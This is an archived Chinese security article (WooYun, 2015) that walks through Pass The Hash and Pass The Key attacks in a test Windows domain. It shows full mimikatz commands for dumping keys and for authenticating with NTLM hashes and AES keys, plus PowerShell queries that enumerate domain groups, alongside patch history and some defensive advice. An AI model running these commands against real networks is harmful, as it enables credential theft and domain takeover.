# 域渗透——Pass The Hash & Pass The Key

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-12-28T02:15:00Z
Canonical: https://wepostx.com/topics/1267

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:969
> **原始发布时间：** 2015-12-28 10:15
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

![原文图片](/media/2016/06/7ddf1d5a8c5d85997812778b17e3a763)

对于Pass The Hash大家应该都很熟悉，在2014年5月发生了一件有趣的事。
微软在2014年5月13日发布了针对Pass The Hash的更新补丁kb2871997，标题为“Update to fix the Pass-The-Hash Vulnerability”
而在一周后却把标题改成了“Update to improve credentials protection and management”
下面就结合这中间发生的事情更进一步的研究域渗透。

# 0x01 简介

在域渗透中，Hash和Key尤为重要，对其获取和利用一直是攻防双方最主要的关注点，所以本次就从hash 和key开始。

# 0x02 测试环境

域控：

```text
#!bash os:server 2008 r2 x64 ip：192.168.40.132
```
域内主机：

```text
#!bash os:win7 x64 ip：192.168.40.225
```

# 0x03 Pass The Hash

在上篇LAPS中提到，如果内网主机的本地管理员账户密码相同，那么可以通过pass the hash远程登录到任意一台主机，操作简单、威力无穷。
在域环境中，利用pass the hash的渗透方式往往是这样的：

- 获得一台域主机的权限

- Dump内存获得用户hash

- 通过pass the hash尝试登录其他主机

- 继续搜集hash并尝试远程登录

- 直到获得域管理员账户hash，登录域控，最终成功控制整个域
下面简要介绍一下Pass The Hash技术发展的几段历史

### 1、2012年12月
微软发布了针对Pass The Hash攻击的防御指导，链接如下：
[http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf](http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf)
如图
![原文图片](/media/2016/06/ac4f25e2866b9e2e153a71f004bac03f)

![原文图片](/media/2016/06/cecd6ab36836814c21fcf08e2ebb4fbb)

文章提到了一些防御方法，并在文章中说明了为什么不针对Pass The Hash提供更新补丁。
所以那时候Pass The Hash成为了主流的域渗透方法。

### 2、2014年5月13日
微软终于发布了更新补丁kb2871997，禁止本地管理员账户用于远程连接，这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享。
然而，Craig在测试中发现，在打了补丁之后，常规的Pass The Hash已经无法成功，唯独默认的 Administrator (SID 500)账号例外，利用这个账号仍可以进行Pass The Hash远程连接。
并且值得注意的是即使administrator改名，它的SID仍然是500，这种攻击方法依然有效。所以对于防御来说，即使打了补丁也要记得禁用SID=500的管理员账户。
相关链接如下：
[http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html](http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html)

### 3、如今
大家对Pass The Hash的认识越来越高，防御方法越来越多，比如上一篇提到的LAPS解决了域内主机本地管理员密码相同的问题。
同样，禁用NTLM使得psexec无法利用获得的ntlm hash进行远程连接。

### 4、mimikatz出现
它的出现再次改变了格局。mimikatz实现了在禁用NTLM的环境下仍然可以远程连接。
下面就实际测试一下其中的细节

# 0x04 Pass The Key

### 测试1：使用NTLM hash远程连接
已知信息：

```text
#!bash * Username : a * Domain : TEST * NTLM : efa85b42d77dc2fdbdbdb767792b0a11 远程主机ip：192.168.40.132
```
如图
![原文图片](/media/2016/06/da60ab1c8f11c2840d0fdece7e462daa)

在测试主机上：
以管理员权限运行

```text
#!bash mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"
```
弹出cmd

```text
#!bash dir \\192.168.40.132\c$
```
成功
如图
![原文图片](/media/2016/06/dbd2c61a6ca186f82327e5a21ab81c14)

![原文图片](/media/2016/06/36665ff4ebd742568a7c441f46155ffb)

注:
虽然"sekurlsa::pth"在mimikatz中被称之为"Pass The Hash",但是其已经超越了以前的"Pass The Hash"，部分人将其命名为"Overpass-the-hash"，也就是"Pass-the-key"

### 测试2：使用aes key远程连接
已知信息：

```text
#!bash * Username : a * Domain : TEST.LOCAL * Key List : aes256_hmac f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c aes128_hmac 8cce86e4b0630f07fcf5f2110068c421 rc4_hmac_nt efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_old efa85b42d77dc2fdbdbdb767792b0a11 rc4_md4 efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_nt_exp efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_old_exp efa85b42d77dc2fdbdbdb767792b0a11
```
注：
获取aes key 的mimikatz命令为：
mimikatz "privilege::debug" "sekurlsa::ekeys"

如图
![原文图片](/media/2016/06/d9611ef7f8e01008a03db42c57b1d941)

Tips:
通常情况下无法对mimikatz输出回显的内容进行复制，一种好的方法是使用日志记录功能将回显内容输出到文件中，开启日志记录功能后会把输出回显的内容保存在同级目录下的mimikatz.log中，命令参考如下：
mimikatz log privilege::debug sekurlsa::ekeys
如果通过右键-编辑-标记的方式复制数据，当前窗口会崩溃,如图：

![原文图片](/media/2016/06/1e3110357eb24fe7d71e06da35d959e6)

在测试主机上：
以管理员权限运行

```text
#!bash mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"
```
发现无法导入aes256
如图
![原文图片](/media/2016/06/fd27b32c3eb79e0d90e8a869fc99691e)

无法远程连接，如图
![原文图片](/media/2016/06/345ccd543f70191b74e594d1bf61f1d0)

查看mimikatz的相关资料发现如下信息：
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

根据提示，尝试在系统安装补丁kb2871997后继续测试

### 测试3：使用aes key远程连接（kb2871997 Installed）
已知信息：

```text
#!bash * Username : a * Domain : TEST.LOCAL * Key List : aes256_hmac f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c aes128_hmac 8cce86e4b0630f07fcf5f2110068c421 rc4_hmac_nt efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_old efa85b42d77dc2fdbdbdb767792b0a11 rc4_md4 efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_nt_exp efa85b42d77dc2fdbdbdb767792b0a11 rc4_hmac_old_exp efa85b42d77dc2fdbdbdb767792b0a11 测试主机： 安装kb2871997补丁
```
如图
![原文图片](/media/2016/06/101de7e3146f5ff8285ea2ac01e7def8)

在测试主机上：
以管理员权限运行

```text
#!bash mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"
```
可以成功导入aes256
如图
![原文图片](/media/2016/06/2a07f382d9c554fbb67f9e627d593567)

远程连接

```text
#!bash dir \\WIN-8VVLRPIAJB0\c$
```
成功
如图
![原文图片](/media/2016/06/84d8304e8b4b6e691d2a2641979466d9)

注：
dir要使用主机名 而不是ip，不然会提示用户名或密码错误

换用aes128测试：

```text
#!bash mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes128:8cce86e4b0630f07fcf5f2110068c421"
```
如图
![原文图片](/media/2016/06/acea95e591adbfccc75003ed8ce72adb)

![原文图片](/media/2016/06/c4c85877017d305cf03fef2817320082)

成功
注：
如果不更换密码，aes key可以一直被用来远程连接。

# 0x05 补充

如果域控权限分配不严格，我们在域普通用户主机下通过wmi查询可以查到当前域内的用户组

### 1、查看Administrators组
powershell执行

```text
#!bash $members = @($([ADSI]”WinNT://TEST/Administrators”).psbase.Invoke(“Members”)) $members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }
```
如图
![原文图片](/media/2016/06/19aa11af0a441b896fb600b993c5edc8)

### 2、查看Domain Users组

```text
#!bash $members = @($([ADSI]”WinNT://TEST/Domain Users”).psbase.Invoke(“Members”)) $members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }
```
如图
![原文图片](/media/2016/06/7c5e647dd96cd9aa63246a189e09256d)

# 0x06 小结

做任何事情都一样，细节往往决定成败，只有在深入了解后我才发现aes key和kb2871997之间的关系，才解锁了远程连接的新方法。

# 0x07 参考链接：

- [http://www.rsaconference.com/writable/presentations/file_upload/hta-w03-pass-the-hash-how-attackers-spread-and-how-to-stop-them.pdf](http://www.rsaconference.com/writable/presentations/file_upload/hta-w03-pass-the-hash-how-attackers-spread-and-how-to-stop-them.pdf)

- [http://www.harmj0y.net/blog/penetesting/pass-the-hash-is-dead-long-live-pass-the-hash/](http://www.harmj0y.net/blog/penetesting/pass-the-hash-is-dead-long-live-pass-the-hash/)

- [http://www.infosecisland.com/blogview/23787-Windows-Update-to-Fix-Pass-the-Hash-Vulnerability-Not.html](http://www.infosecisland.com/blogview/23787-Windows-Update-to-Fix-Pass-the-Hash-Vulnerability-Not.html)

- [http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf](http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf)

- [http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html](http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html)

- [http://www.2cto.com/Article/201405/304557.html](http://www.2cto.com/Article/201405/304557.html)

- [https://technet.microsoft.com/en-us/security/dn785092](https://technet.microsoft.com/en-us/security/dn785092)

- [http://blogs.technet.com/b/heyscriptingguy/archive/2012/12/15/weekend-scripter-use-powershell-to-find-local-administrators-on-a-computer.aspx](http://blogs.technet.com/b/heyscriptingguy/archive/2012/12/15/weekend-scripter-use-powershell-to-find-local-administrators-on-a-computer.aspx)

- [https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa)

- [http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/](http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/)
本文由三好学生原创并首发于乌云drops，转载请注明

## Replies
